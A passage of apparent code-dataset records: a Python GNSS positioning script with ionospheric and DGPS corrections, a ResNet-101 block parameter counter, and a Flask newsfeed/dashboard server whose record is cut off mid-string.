+{"seq_id":"479797222","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 12 15:20:16 2018\n\n@author: owo\n\"\"\"\n\nimport sys\nsys.path.append(r'./library')\n\nimport numpy as np\n#import matplotlib.pyplot as plt\nfrom ErrorVariance import Error_variance\nfrom DOY2GPSweek import DOY2GPSweek\nfrom Satellite_Calculate import Satellite_Calculate\nfrom LeastSquaresPositioning import Positioning\nfrom ErrorModule import Error_module\nfrom TimeBreakDown import TimeBreakDown\nfrom NDataRead import NDataRead\nimport xyz2llh\nimport xyz2enu\nfrom CustomValue import *\n\nglobal S_phase_data_path\nglobal S_aeosv_data_path\nglobal S_n_data_path\nglobal S_ans_position_path\n\nS_phase_data_path = '/pub3/man4781747/GPS_data/data20{0:02d}{1:03d}/phase_data/'\nS_aeosv_data_path = '/pub3/man4781747/GPS_data/data20{0:02d}{1:03d}/aeosv_data/'\nS_n_data_path = '/pub3/man4781747/GPS_data/n_data/'\nS_ans_position_path = '/pub3/man4781747/GPS_data/data20{0:02d}{1:03d}/position_data/'\nS_DGPS_Correction_path = '/pub3/man4781747/GPS_data/data20{0:02d}{1:03d}/DGPS_Correction_data/'\nS_GIMRIM_TEC_path = '/pub3/man4781747/GPS_data/data20{0:02d}{1:03d}/GIM_svTEC/'\n\nS_phase_data_path = 'D:/Ddddd/python/2003/Odata/test/data20{0:02d}{1:03d}/phase_data/'\nS_aeosv_data_path = 'D:/Ddddd/python/2003/Odata/test/data20{0:02d}{1:03d}/aeosv_data/'\nS_n_data_path = 'D:/Ddddd/python/2003/Odata/test/n_data/'\nS_ans_position_path = 'D:/Ddddd/python/2003/Odata/test/data20{0:02d}{1:03d}/position_data/'\nS_DGPS_Correction_path = 'D:/Ddddd/python/2003/Odata/test/data20{0:02d}{1:03d}/DGPS_Correction_data/'\nS_GIMRIM_TEC_path = 'D:/Ddddd/python/2003/Odata/test/data20{0:02d}{1:03d}/GIM_svTEC/'\n\ndef ez2do_every_thing(I_year,I_doy,S_station_name,F_elevation_filter=15.,S_ion_model='broadcast',S_trp_model='saastamoinen',S_DGPS='No',Beta='No'):\n C_NData = NDataRead(S_n_data_path.format(I_year,I_doy)+'n_data_{0:02d}{1:03d}.npy'.format(I_year,I_doy)) \n Ay_Pr_C1_Rover = np.load(S_phase_data_path.format(I_year,I_doy)+'30s/'+'{2}{0:02d}{1:03d}phaseC1.npy'.format(I_year,I_doy,S_station_name))[:,:32]\n Ay_AnsPosition_Rover = np.load(S_ans_position_path.format(I_year,I_doy)+'{2}{0:02d}{1:03d}_position.npy'.format(I_year,I_doy,S_station_name))[0,:]\n Ay_TimeRaw_Rover = np.load(S_phase_data_path.format(I_year,I_doy)+'30s/'+'{2}{0:02d}{1:03d}phasetime.npy'.format(I_year,I_doy,S_station_name))[:,0:6]\n Ay_Time_Rover = Ay_TimeRaw_Rover[:,3]*3600.+Ay_TimeRaw_Rover[:,4]*60.+Ay_TimeRaw_Rover[:,5]\n\n if S_ion_model=='C1P2':\n Ay_Pr_P2_Rover = np.load(S_phase_data_path.format(I_year,I_doy)+'30s/'+'{2}{0:02d}{1:03d}phaseP2.npy'.format(I_year,I_doy,S_station_name))[:,:32]\n Ay_Pr_P2_Rover[np.where(Ay_Pr_C1_Rover==0)]=0\n Ay_Pr_C1_Rover[np.where(Ay_Pr_P2_Rover==0)]=0 \n \n if S_DGPS != 'No':\n Ay_Pr_C1_Base = np.load(S_phase_data_path.format(I_year,I_doy)+'30s/'+'{2}{0:02d}{1:03d}phaseC1.npy'.format(I_year,I_doy,S_DGPS))[:,:32]\n Ay_AnsPosition_Base = np.load(S_ans_position_path.format(I_year,I_doy)+'{2}{0:02d}{1:03d}_position.npy'.format(I_year,I_doy,S_DGPS))[0,:]\n Ay_TimeRaw_Base = np.load(S_phase_data_path.format(I_year,I_doy)+'30s/'+'{2}{0:02d}{1:03d}phasetime.npy'.format(I_year,I_doy,S_DGPS))[:,0:6]\n Ay_Time_Base = Ay_TimeRaw_Base[:,3]*3600.+Ay_TimeRaw_Base[:,4]*60.+Ay_TimeRaw_Base[:,5]\n# '''\n# test\n# '''\n if Beta != 'No':\n global Ay_base_sTEC,Ay_rover_sTEC\n# Ay_base_sTEC = np.load(S_aeosv_data_path.format(I_year,I_doy)+'fitted_sTEC/s{0}{1:03d}.npy'.format(S_DGPS, I_doy))[:,:32]\n# Ay_rover_sTEC = np.load(S_aeosv_data_path.format(I_year,I_doy)+'fitted_sTEC/s{0}{1:03d}.npy'.format(S_station_name, I_doy))[:,:32]\n Ay_base_sTEC = np.load(S_aeosv_data_path.format(I_year,I_doy)+'fitted_sTEC_no_kickout/s{0}{1:03d}.npy'.format(S_DGPS, I_doy))[:,:32]\n Ay_rover_sTEC = np.load(S_aeosv_data_path.format(I_year,I_doy)+'fitted_sTEC_no_kickout/s{0}{1:03d}.npy'.format(S_station_name, I_doy))[:,:32]\n \n# Ay_base_sTEC = np.load(S_aeosv_data_path.format(I_year,I_doy)+'30s/s{0}{1:03d}.npy'.format(S_DGPS, I_doy))[:,:32]\n# Ay_rover_sTEC = np.load(S_aeosv_data_path.format(I_year,I_doy)+'30s/s{0}{1:03d}.npy'.format(S_station_name, I_doy))[:,:32]\n# Ay_base_sTEC = np.load(S_aeosv_data_path.format(I_year,I_doy)+'s{0}{1:03d}_fit.npy'.format(S_DGPS, I_doy))[:,:32]\n# Ay_rover_sTEC = np.load(S_aeosv_data_path.format(I_year,I_doy)+'s{0}{1:03d}_fit.npy'.format(S_station_name, I_doy))[:,:32]\n Ay_base_sTEC[np.isnan(Ay_base_sTEC)] = 0\n Ay_rover_sTEC[np.isnan(Ay_rover_sTEC)] = 0\n\n I_loop_num = 0\n test = np.zeros((len(Ay_Pr_C1_Rover[:,0]),3))\n test_DGPS = np.zeros((len(Ay_Pr_C1_Rover[:,0]),3))\n test_GDOP = np.zeros((len(Ay_Pr_C1_Rover[:,0]),1))\n test_GDOP_DGPS = np.zeros((len(Ay_Pr_C1_Rover[:,0]),1))\n Ay_OutPut_xyz = np.zeros((len(Ay_Pr_C1_Rover[:,0]),3))\n \n test_dTEC = np.zeros((2880,32))\n \n Lst_DGPSSateSum = []\n \n for I_time_chose in range(len(Ay_Pr_C1_Rover[:,0])):\n# for I_time_chose in range(1):\n# for I_time_chose in np.zeros(1).astype('int')+332:\n# for I_time_chose in np.arange(161, 164,1):\n# try:\n S_info = \"\\r{0} ,Y:{1:02d} ,D:{2:03d} ,Elevation:{5:2.2f} ,ionofree:{4} ,DGPS:{6} ,now in {3:2.2f}%\\r\".format(S_station_name,\n I_year,\n I_doy,\n (I_time_chose/float(len(Ay_Pr_C1_Rover[:,0])))*100 \n ,S_ion_model,\n F_elevation_filter,\n S_DGPS)\n print(S_info,end='')\n C_TimeRover = TimeBreakDown(Ay_Time_Rover[I_time_chose])\n Ay_NDataChose_Rover, Ay_SateChoseNum_Rover = C_NData.GetData(Ay_Pr_C1_Rover[I_time_chose], C_TimeRover.F_TimeTotal)\n# print(Ay_Pr_C1_Rover[I_time_chose,4])\n# print(Ay_SateChoseNum_Rover)\n if len(np.where(Ay_Pr_C1_Rover[I_time_chose,:] != 0.)[0]) >= 4: \n Ay_PrChose_C1_Rover = Ay_Pr_C1_Rover[I_time_chose,Ay_SateChoseNum_Rover] \n if S_ion_model=='C1P2':\n Ay_PrChose_P2_Rover = Ay_Pr_P2_Rover[I_time_chose,Ay_SateChoseNum_Rover] \n \n\n F_GPSWeek_Sec= (float(DOY2GPSweek(I_year,I_doy))%10)*24*60*60 \n Ay_ReceiverDelay_Rover = 0\n\n Mobj_sate_cal = Satellite_Calculate(Ay_NDataChose_Rover)\n Ay_SateTimeDelay_Rover = Mobj_sate_cal.get_sate_clock_error(Ay_PrChose_C1_Rover,C_TimeRover.I_TimeInt,C_TimeRover.F_TimeDecimal,F_GPSWeek_Sec)\n sva_Rover = Mobj_sate_cal.sva\n tgd_Rover = Mobj_sate_cal.tgd\n (Ay_xk,Ay_yk,Ay_zk,Ay_SateTimeDelay_Rover) = Mobj_sate_cal.get_sate_position(\n C_TimeRover.I_TimeInt,C_TimeRover.F_TimeDecimal,\n F_GPSWeek_Sec,Ay_SateTimeDelay_Rover,Ay_PrChose_C1_Rover) \n \n Mobj_error_variance = Error_variance()\n Ay_vare = Mobj_error_variance.vare(sva_Rover)\n Ay_vmeas = Mobj_error_variance.vmeas()\n if I_loop_num == 0:\n F_test_point_x = 0.000000001\n F_test_point_y = 0.\n F_test_point_z = 0.\n Ay_guess_position = np.array([[F_test_point_x],[F_test_point_y],[F_test_point_z]])\n I_loop_num = 1\n Ay_elevation = np.zeros(len(Ay_xk)) + np.pi/2\n Ay_enu_resever_sate = xyz2enu.xyz2enu(np.array([Ay_xk,Ay_yk,Ay_zk]).T,Ay_guess_position.T).return_enu()\n Ay_fix_position = np.array([100,100,100])\n TF_tgd_fix = True\n I_loop_break = 0\n# for i in range(2):\n while abs(Ay_fix_position[0]) > 1e-4 or abs(Ay_fix_position[1]) > 1e-4 or abs(Ay_fix_position[2]) > 1e-4:\n Ay_guess_position_llh = np.zeros((3,len(Ay_PrChose_C1_Rover)))\n for j in range(len(Ay_PrChose_C1_Rover)):\n Ay_guess_position_llh[:,j] = np.array([xyz2llh.xyz2llh(Ay_guess_position[0],Ay_guess_position[1],Ay_guess_position[2]).xyz()])\n \n Ay_varerr = Mobj_error_variance.varerr(Ay_elevation,S_ion_model)\n\n Mobj_delay = Error_module()\n if S_ion_model == 'broadcast' or S_DGPS != 'No':\n S_n_data_path_ = S_n_data_path.format(I_year,I_doy)+'n_data_{0:02d}{1:03d}_ion.npy'.format(I_year,I_doy)\n Ay_dion = Mobj_delay.iono_model_broadcast(I_year,I_doy,\n Ay_guess_position_llh[0,:]*np.pi/180.,\n Ay_guess_position_llh[1,:]*np.pi/180.,\n Ay_elevation,\n Ay_enu_resever_sate,\n C_TimeRover.F_TimeTotal,\n S_n_data_path_\n )\n else:\n Ay_dion = 0\n Ay_vion = Mobj_error_variance.vion(I_loop_break,S_ion_model,Ay_dion,S_DGPS)\n if S_trp_model == 'saastamoinen':\n Ay_dtrp = Mobj_delay.saastamoinen_model(Ay_guess_position_llh[0,:]*np.pi/180.,\n Ay_guess_position_llh[1,:]*np.pi/180.,\n Ay_guess_position_llh[2,:],\n Ay_elevation,\n 0.6)\n else: \n Ay_dtrp = 0\n Ay_vtrp = Mobj_error_variance.vtrp(I_loop_break,S_trp_model,Ay_elevation)\n Ay_error_variance_all = Ay_varerr + Ay_vmeas + Ay_vare + Ay_vion + Ay_vtrp \n Ay_error_variance_all = np.zeros_like(Ay_error_variance_all)+1\n Ay_beacon_position = np.array([Ay_xk,Ay_yk,Ay_zk])\n Ay_guess_range_list_first = np.copy(Ay_beacon_position)\n for nn in range(len(Ay_guess_range_list_first[0,:])):\n Ay_guess_range_list_first[:,nn] -= Ay_guess_position[:,0]\n Ay_guess_range_list = np.sum((Ay_guess_range_list_first)**2,0)**0.5\n Ay_guess_range_list_ = np.sum((Ay_guess_range_list_first)**2,0)**0.5 + F_OMGE*(Ay_xk*Ay_guess_position[1]-Ay_yk*Ay_guess_position[0])/F_C\n if TF_tgd_fix:\n F_gamma = F_f1_hz**2/F_f2_hz**2\n if S_ion_model != 'C1P2':\n Ay_P1_P2 = (1.0-F_gamma)*tgd_Rover*F_C\n Ay_PrChose_C1_Rover = Ay_PrChose_C1_Rover - Ay_P1_P2/(1.0-F_gamma)\n# print(Ay_pseudo_range[-1])\n else:\n Ay_PrChose_C1_Rover = (F_gamma*Ay_PrChose_C1_Rover - Ay_PrChose_P2_Rover)/(F_gamma-1)\n TF_tgd_fix = False\n# print(Ay_dion)\n Ay_pseudo_range_fix = Ay_PrChose_C1_Rover + F_C*Ay_SateTimeDelay_Rover - Ay_ReceiverDelay_Rover - Ay_dtrp -Ay_dion\n# print(Ay_pseudo_range_fix) \n Mobj_get_position_fst = Positioning(Ay_pseudo_range_fix[np.where(Ay_elevation > F_elevation_filter/180*np.pi)],\n Ay_guess_range_list[np.where(Ay_elevation > F_elevation_filter/180*np.pi)],\n Ay_guess_range_list_[np.where(Ay_elevation > F_elevation_filter/180*np.pi)],\n Ay_beacon_position[:,np.where(Ay_elevation > F_elevation_filter/180*np.pi)[0]],\n Ay_guess_position,\n Ay_error_variance_all[np.where(Ay_elevation > F_elevation_filter/180*np.pi)])\n \n '''\n 更新下列數值\n Ay_guess_position\n Ay_resever_time_delay\n Ay_enu_resever_sate\n Ay_elevation\n Ay_fix_position\n '''\n Ay_guess_position = Mobj_get_position_fst.Positioning_results()[0]\n Ay_ReceiverDelay_Rover = Mobj_get_position_fst.Positioning_results()[1] + Ay_ReceiverDelay_Rover\n Ay_enu_resever_sate = xyz2enu.xyz2enu(np.array([Ay_xk,Ay_yk,Ay_zk]).T,Ay_guess_position.T).return_enu()\n Ay_elevation = np.arctan2( (Ay_enu_resever_sate[:,2]),np.sum(Ay_enu_resever_sate[:,0:2]**2,1)**0.5 )\n Ay_fix_position = Mobj_get_position_fst.Positioning_results()[2]\n \n# print(Ay_ReceiverDelay_Rover)\n# print(Ay_enu_resever_sate)\n# print(Ay_elevation)\n \n \n if I_loop_break > 10:\n print('test_break')\n break\n I_loop_break += 1\n \n Ay_OutPut_xyz[I_time_chose] = Ay_guess_position[:,0]\n test_GDOP[I_time_chose,0] = Mobj_get_position_fst.F_GDOP\n Ay_ENU = xyz2enu.xyz2enu(np.array([Ay_guess_position[:,0]]),\n np.array([Ay_AnsPosition_Rover])\n ).return_enu()\n test[I_time_chose] = Ay_ENU[0,:]\n if S_DGPS != 'No':\n C_TimeBase = TimeBreakDown(Ay_Time_Base[I_time_chose])\n Ay_NDataChose_Base, Ay_SateChoseNum_Base = C_NData.GetData(Ay_Pr_C1_Base[I_time_chose], C_TimeBase.F_TimeTotal)\n \n '''\n Mobj_sate_cal_DGPS_before : 基站衛星計算 Mobj\n Ay_delta_t_sv_DGPS_before : 基站衛星時鐘誤差\n Ay_pseudo_range_DGPS_berofe : 基站選取的偽距\n Ay_xk_DGPS_before,Ay_yk_DGPS_before,Ay_zk_DGPS_before\n : 基站衛星位置 ECEF\n '''\n Ay_PrChose_C1_Base = Ay_Pr_C1_Base[I_time_chose,Ay_SateChoseNum_Base] \n \n Mobj_SateCal_Base = Satellite_Calculate(Ay_NDataChose_Base)\n Ay_SateTimeDelay_Base = Mobj_SateCal_Base.get_sate_clock_error(Ay_PrChose_C1_Base,\n C_TimeBase.I_TimeInt,\n C_TimeBase.F_TimeDecimal,\n F_GPSWeek_Sec)\n# sva_DGPS_before = Mobj_sate_cal_DGPS_before.sva\n tgd_Base = Mobj_SateCal_Base.tgd\n (Ay_xk_Base,Ay_yk_Base,Ay_zk_Base,Ay_SateTimeDelay_Base) = Mobj_SateCal_Base.get_sate_position(\n C_TimeBase.I_TimeInt,C_TimeBase.F_TimeDecimal,\n F_GPSWeek_Sec,Ay_SateTimeDelay_Base,Ay_PrChose_C1_Base)\n\n '''\n 基站 TGD修正\n '''\n\n Ay_P1_P2_DGPS = (1.0-F_gamma)*tgd_Base*F_C\n Ay_PrChose_C1_Base = Ay_PrChose_C1_Base - Ay_P1_P2_DGPS/(1.0-F_gamma)\n \n '''\n ### 基站衛星位置 ###\n Ay_beacon_position_DGPS_before(x,y,z) (3,N)\n '''\n Ay_SatePosition_Base = np.array([Ay_xk_Base,Ay_yk_Base,Ay_zk_Base])\n \n '''\n ### 基站真實距離計算 ###\n Ay_guess_range_list_DGPS_before 基站\"不\"考慮旋轉後的真實距離\n Ay_guess_range_list_DGPS_before_ 基站考慮旋轉後的真實距離\n '''\n Ay_guess_range_list_DGPS_before_first = np.copy(Ay_SatePosition_Base)\n for nn in range(len(Ay_guess_range_list_DGPS_before_first[0,:])):\n Ay_guess_range_list_DGPS_before_first[:,nn] -= Ay_AnsPosition_Base\n Ay_guess_range_list_DGPS_before_ = np.sum((Ay_guess_range_list_DGPS_before_first)**2,0)**0.5 + F_OMGE*(Ay_xk_Base*Ay_AnsPosition_Base[1]-Ay_yk_Base*Ay_AnsPosition_Base[0])/F_C\n\n \n \n '''\n 基站/測站 衛星配對\n Ay_sate_match_raver : 測站衛星位置碼\n Ay_pseudo_range_DGPS_chose_rover : 測站偽距選取\n Ay_sate_match_base : 基站衛星位置碼\n Ay_pseudo_range_DGPS_chose_base : 基站偽距選取\n '''\n \n if Beta != 'No':\n I_time_index = int(round(C_TimeRover.F_TimeTotal/30))\n Ay_TEC_chose_base_index = np.where(Ay_base_sTEC[I_time_index,:] != 0)[0]\n Ay_TEC_chose_rover_index = np.where(Ay_rover_sTEC[I_time_index,:] != 0)[0]\n\n Lst_sate_match = list(set(Ay_SateChoseNum_Rover)&\n set(Ay_SateChoseNum_Base)&\n set(Ay_TEC_chose_base_index)&\n set(Ay_TEC_chose_rover_index))\n \n Ay_sate_match_raver = np.zeros(len(Lst_sate_match)).astype('int')\n Ay_sate_match_base = np.zeros(len(Lst_sate_match)).astype('int')\n Ay_sTEC_match_raver = np.zeros(len(Lst_sate_match)).astype('int')\n Ay_sTEC_match_base = np.zeros(len(Lst_sate_match)).astype('int') \n\n for I_sate_chose in range(len(Lst_sate_match)):\n Ay_sate_match_raver[I_sate_chose] = int(np.where(Ay_SateChoseNum_Rover == Lst_sate_match[I_sate_chose])[0])\n Ay_sate_match_base[I_sate_chose] = int(np.where(Ay_SateChoseNum_Base == Lst_sate_match[I_sate_chose])[0])\n Ay_sTEC_match_raver[I_sate_chose] = int(np.where(Ay_TEC_chose_rover_index == Lst_sate_match[I_sate_chose])[0])\n Ay_sTEC_match_base[I_sate_chose] = int(np.where(Ay_TEC_chose_base_index == Lst_sate_match[I_sate_chose])[0])\n \n Ay_TECChose_Base = Ay_base_sTEC[I_time_index,Ay_TEC_chose_base_index][Ay_sTEC_match_base]\n Ay_TECChose_Rover = Ay_rover_sTEC[I_time_index,Ay_TEC_chose_rover_index][Ay_sTEC_match_raver]\n \n else:\n Lst_sate_match = list(set(Ay_SateChoseNum_Rover)&\n set(Ay_SateChoseNum_Base)) \n \n Ay_sate_match_raver = np.zeros(len(Lst_sate_match)).astype('int')\n Ay_sate_match_base = np.zeros(len(Lst_sate_match)).astype('int') \n \n for I_sate_chose in range(len(Lst_sate_match)):\n Ay_sate_match_raver[I_sate_chose] = int(np.where(Ay_SateChoseNum_Rover == Lst_sate_match[I_sate_chose])[0])\n Ay_sate_match_base[I_sate_chose] = int(np.where(Ay_SateChoseNum_Base == Lst_sate_match[I_sate_chose])[0])\n\n Ay_TECChose_Base = 0\n Ay_TECChose_Rover = 0\n\n Ay_pseudo_range_DGPS_chose_rover = Ay_PrChose_C1_Rover[Ay_sate_match_raver[:]]\n Ay_pseudo_range_DGPS_chose_base = Ay_PrChose_C1_Base[Ay_sate_match_base[:]]\n \n\n \n\n Ay_TEC_delay_base = Ay_TECChose_Base*(40.3*(10**16))/((F_f1_hz*10**6)**2)\n Ay_TEC_delay_rover = Ay_TECChose_Rover*(40.3*(10**16))/((F_f1_hz*10**6)**2)\n \n \n for i in range(3):\n Ay_beacon_position = np.array([Ay_xk,Ay_yk,Ay_zk])\n Ay_guess_range_list_first = np.copy(Ay_beacon_position)\n for nn in range(len(Ay_guess_range_list_first[0,:])):\n Ay_guess_range_list_first[:,nn] -= Ay_guess_position[:,0]\n Ay_guess_range_list = np.sum((Ay_guess_range_list_first)**2,0)**0.5\n Ay_guess_range_list_ = np.sum((Ay_guess_range_list_first)**2,0)**0.5 + F_OMGE*(Ay_xk*Ay_guess_position[1]-Ay_yk*Ay_guess_position[0])/F_C\n \n '''\n Ay_pseudo_range_fix_DGPS : 測站修過 DGPS 的偽距\n 測站偽距 - ( 基站偽距 - 基站真實距離(修過自轉) ) - 測站時鐘誤差\n \n Mobj_get_position_DGPS : 定位矩陣(\n Ay_pseudo_range_fix_DGPS : 測站修過 DGPS 的偽距\n Ay_guess_range_list : 猜測點與測站衛星距離(m) 無修正轉動\n Ay_guess_range_list_ : 猜測點與測站衛星距離(m) 有修正轉動\n Ay_beacon_position : 測站衛星位置\n Ay_guess_position : 猜測點\n Ay_error_variance_all : 品質權重\n )\n '''\n \n Ay_pseudo_range_fix_DGPS = (Ay_pseudo_range_DGPS_chose_rover-Ay_TEC_delay_rover) - ((Ay_pseudo_range_DGPS_chose_base-Ay_TEC_delay_base) - Ay_guess_range_list_DGPS_before_[Ay_sate_match_base[:]]) - Ay_ReceiverDelay_Rover\n# Ay_pseudo_range_fix_DGPS = (Ay_pseudo_range_DGPS_chose_rover) - ((Ay_pseudo_range_DGPS_chose_base) - Ay_guess_range_list_DGPS_before_[Ay_sate_match_base[:]]) - Ay_ReceiverDelay_Rover\n#\n# print(test_dTEC[I_time_index,Ay_TEC_chose_base_index])\n# print(test_dTEC[I_time_index,Ay_TEC_chose_base_index[Ay_sTEC_match_base]])\n# print(Ay_TEC_delay_rover-Ay_TEC_delay_base)\n# test_dTEC[I_time_index,Ay_TEC_chose_base_index[Ay_sTEC_match_base]] = Ay_TEC_delay_rover-Ay_TEC_delay_base\n\n\n\n\n Mobj_get_position_DGPS = Positioning(Ay_pseudo_range_fix_DGPS[np.where(Ay_elevation[Ay_sate_match_raver[:]] > F_elevation_filter/180*np.pi)],\n Ay_guess_range_list[Ay_sate_match_raver[:]][np.where(Ay_elevation[Ay_sate_match_raver[:]] > F_elevation_filter/180*np.pi)],\n Ay_guess_range_list_[Ay_sate_match_raver[:]][np.where(Ay_elevation[Ay_sate_match_raver[:]] > F_elevation_filter/180*np.pi)],\n Ay_beacon_position[:,Ay_sate_match_raver[:]][:,np.where(Ay_elevation[Ay_sate_match_raver[:]] > F_elevation_filter/180*np.pi)[0]],\n Ay_guess_position,\n Ay_error_variance_all[Ay_sate_match_raver[:]][np.where(Ay_elevation[Ay_sate_match_raver[:]] > F_elevation_filter/180*np.pi)])\n '''\n 更新下列數值\n Ay_guess_position\n Ay_resever_time_delay\n Ay_enu_resever_sate\n Ay_elevation\n '''\n Ay_guess_position = Mobj_get_position_DGPS.Positioning_results()[0]\n Ay_ReceiverDelay_Rover = Mobj_get_position_DGPS.Positioning_results()[1] + Ay_ReceiverDelay_Rover\n Ay_enu_resever_sate = xyz2enu.xyz2enu(np.array([Ay_xk,Ay_yk,Ay_zk]).T,Ay_guess_position.T).return_enu()\n Ay_elevation = np.arctan2( (Ay_enu_resever_sate[:,2]),np.sum(Ay_enu_resever_sate[:,0:2]**2,1)**0.5 )\n Ay_ENU = xyz2enu.xyz2enu(np.array([Ay_guess_position[:,0]]),\n np.array([Ay_AnsPosition_Rover])\n ).return_enu()\n test_DGPS[I_time_chose] = Ay_ENU[0,:]\n Ay_fix_position = Mobj_get_position_DGPS.Positioning_results()[2]\n# print(Ay_fix_position)\n# print(Mobj_get_position_DGPS.Positioning_results()[1])\n test_GDOP_DGPS[I_time_chose,0] = Mobj_get_position_DGPS.F_GDOP\n Lst_DGPSSateSum.append(len(Ay_TEC_delay_base))\n# except:\n# test[I_time_chose] = np.nan\n# test_DGPS[I_time_chose] = np.nan\n# print('ERROR')\n plt.plot(Lst_DGPSSateSum)\n return test,Ay_OutPut_xyz,test_DGPS,test_GDOP,test_GDOP_DGPS,test_dTEC\n\n \nif __name__ == '__main__':\n# I_year = 3\n# I_doy = 324\n#\n#\n# S_station = 'woos'\n# test,test_DGPS,test_GDOP,test_GDOP_DGPS,test_dTEC = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='broadcast',S_trp_model='saastamoinen',S_DGPS='gust')\n\n\n I_year = 15\n I_doy = 73\n\n\n S_station = 'sun1'\n test,Ay_OutPut_xyz,test_DGPS,test_GDOP,test_GDOP_DGPS,test_dTEC = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='broadcast',S_trp_model='saastamoinen',S_DGPS='fenp',Beta='Yes')\n# test,Ay_OutPut_xyz,test_DGPS,test_GDOP,test_GDOP_DGPS,test_dTEC = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='C1P2')\n# np.save(r'D:\\google drive\\我der碩士論文\\磁暴\\磁暴各定位結果\\woos_DPGS_gust_v2sfit_nearest版.npy', test_DGPS)\n# np.save(r'D:\\google drive\\我der碩士論文\\磁暴\\磁暴各定位結果\\woos_DPGS_gust_GDOP_v2sfit_nearest版.npy', test_GDOP_DGPS)\n \n\n# test,test_DGPS,test_GDOP,test_GDOP_DGPS,test_dTEC = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='broadcast',S_trp_model='saastamoinen',S_DGPS='fenp')\n \n\n# test,test_DGPS = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='broadcast',S_trp_model='saastamoinen')\n# test,test_DGPS = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='C1P2',S_trp_model='saastamoinen')\n# I_year = 3\n# I_doy = 324\n#\n# S_station = 'woos'\n# test,test_DGPS = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='broadcast',S_trp_model='saastamoinen',S_DGPS='gust')\n## \n# test,test_DGPS = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='broadcast',S_trp_model='saastamoinen',S_DGPS='fenp')\n# np.save(r'D:\\Ddddd\\python\\2003\\Odata\\test\\2003324data\\{1}_sin_{0:03d}_broadcast.npy'.format(I_doy,S_station ),test)\n#\n# test = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='No')\n# np.save(r'D:\\Ddddd\\python\\2003\\Odata\\test\\2003324data\\{1}_sin_{0:03d}_noionfree.npy'.format(I_doy,S_station ),test)\n# \n# test = ez2do_every_thing(I_year,I_doy,S_station,S_ion_model='C1P2')\n# np.save(r'D:\\Ddddd\\python\\2003\\Odata\\test\\2003324data\\{1}_sin_{0:03d}_C1P2.npy'.format(I_doy,S_station ),test)\n# np.save(r'D:\\Ddddd\\python\\2003\\Odata\\test\\2003324data\\sun1_sin_{0:03d}_broadcast.npy'.format(I_day),test_ENU)\n#\n\n# np.save(r'D:\\Ddddd\\python\\2003\\Odata\\test\\2003324data\\sun1_sin_{0:03d}_noionfree.npy'.format(I_day),test_ENU) ","sub_path":"python_code/GPS定位完整版/GNSS_positioning_argv_ver3.py","file_name":"GNSS_positioning_argv_ver3.py","file_ext":"py","file_size_in_byte":28380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"257258650","text":"import torchvision\nimport argparse\n\n\nparser = argparse.ArgumentParser(description='PyTorch ImageNet Training')\nparser.add_argument('--surgered_part', action=\"store\", required=True,\n type=str, help=\"Part to be surgered\")\n\nargs = parser.parse_args()\n\nresnet = torchvision.models.resnet101(pretrained=True).cuda()\n\n# total_resnet_params = 0\n# for elem in resnet.parameters():\n# total_resnet_params += elem.numel()\ntotal_resnet_params = 44549160 # No need to be recomputed each time\nprint(f'{total_resnet_params:,}')\n\nlayer, block = args.surgered_part.split('.')\nsurgered = eval(f\"resnet.layer{layer}[{block}]\")\n\nsurgered_block_params = 0\nfor tensor in surgered.parameters():\n surgered_block_params += tensor.numel()\n\nprint(surgered)\n\nprint(f\"Layer {layer} block {block} contains {surgered_block_params:,} parameters\")\npercent = surgered_block_params / total_resnet_params * 100\nprint(f\"This correspond to {percent:.2f}%\")\n","sub_path":"imagenet/nb_params_in_block.py","file_name":"nb_params_in_block.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"434165806","text":"import json\n\nfrom flask import Flask\nfrom flask import request\nfrom flask import jsonify\nfrom flask import send_file\n\nfrom modifiers.crossdomain import crossdomain\n\nfrom modules.dashboard.dashboard import Dashboard\nfrom modules.newsfeed.newsfeed import Newsfeed\n\napp = Flask(__name__)\n\ndashboard = None\nnewsfeed = None\n\n@app.route(\"/\")\n@crossdomain(origin=\"*\")\ndef echo():\n return 'Hello World!!!'\n\n@app.route(\"/dashboard\", methods=['GET'])\n@crossdomain(origin='*')\ndef dashboards():\n access_token = request.headers['access_token']\n since= request.args.get('since')\n until= request.args.get('until')\n if until == None: until = '-0 year'\n return jsonify(dashboard.get_dashboard(access_token,since,until))\n\n@app.route(\"/dashboard/getalltops/\", methods=['GET'])\n@crossdomain(origin='*')\ndef getAllTops(uid):\n return jsonify(dashboard.get_all_top(uid))\n\n@app.route('/getwordcloud/', methods=['GET'])\n@crossdomain(origin='*')\ndef get_wordcloud(uid):\n filename = \"assets/wordcloud/%s.png\" % uid\n return send_file(filename, mimetype='image/png')\n\n@app.route(\"/newsfeed/\", methods=['GET'])\n@crossdomain(origin='*')\ndef newsfeed(uid):\n access_token = request.headers['access_token']\n return jsonify(newsfeed.get_newsfeed(access_token, uid))\n\n@app.route(\"/newsfeed/next/\", methods=['GET'])\n@crossdomain(origin='*')\ndef newsfeed_next(uid):\n access_token = request.headers['access_token']\n return jsonify(newsfeed.get_next_newsfeed(access_token, uid))\n\n@app.route('/userlikes/', methods=['POST'])\n@crossdomain(origin='*')\ndef user_likes(uid):\n content = request.json\n newsfeed.collect_like_posts(uid, content['meta_data'])\n return jsonify(content)\n\n@app.route('/userdislikes/', methods=['POST'])\n@crossdomain(origin='*')\ndef user_dislikes(uid):\n content = request.json\n newsfeed.collect_dislike_posts(uid, content['meta_data'])\n return jsonify(content)\n\n@app.route('/image/', methods=['POST'])\n@crossdomain(origin='*')\ndef images(uid):\n return request.json\n\ndef generate_config():\n config_dict = {\n \"server\": {\n \"host\": \"localhost\",\n \"port\": 8080\n },\n \"database\": {\n \"host\": \"localhost\",\n \"port\": 4040\n }\n }\n try:\n config = open('config.json', 'w')\n json.dump(config_dict, config, indent=4)\n config.close()\n print(\"Message : success to generate config.json.\")\n except IOError as error:\n print(\"Error : failed to generate 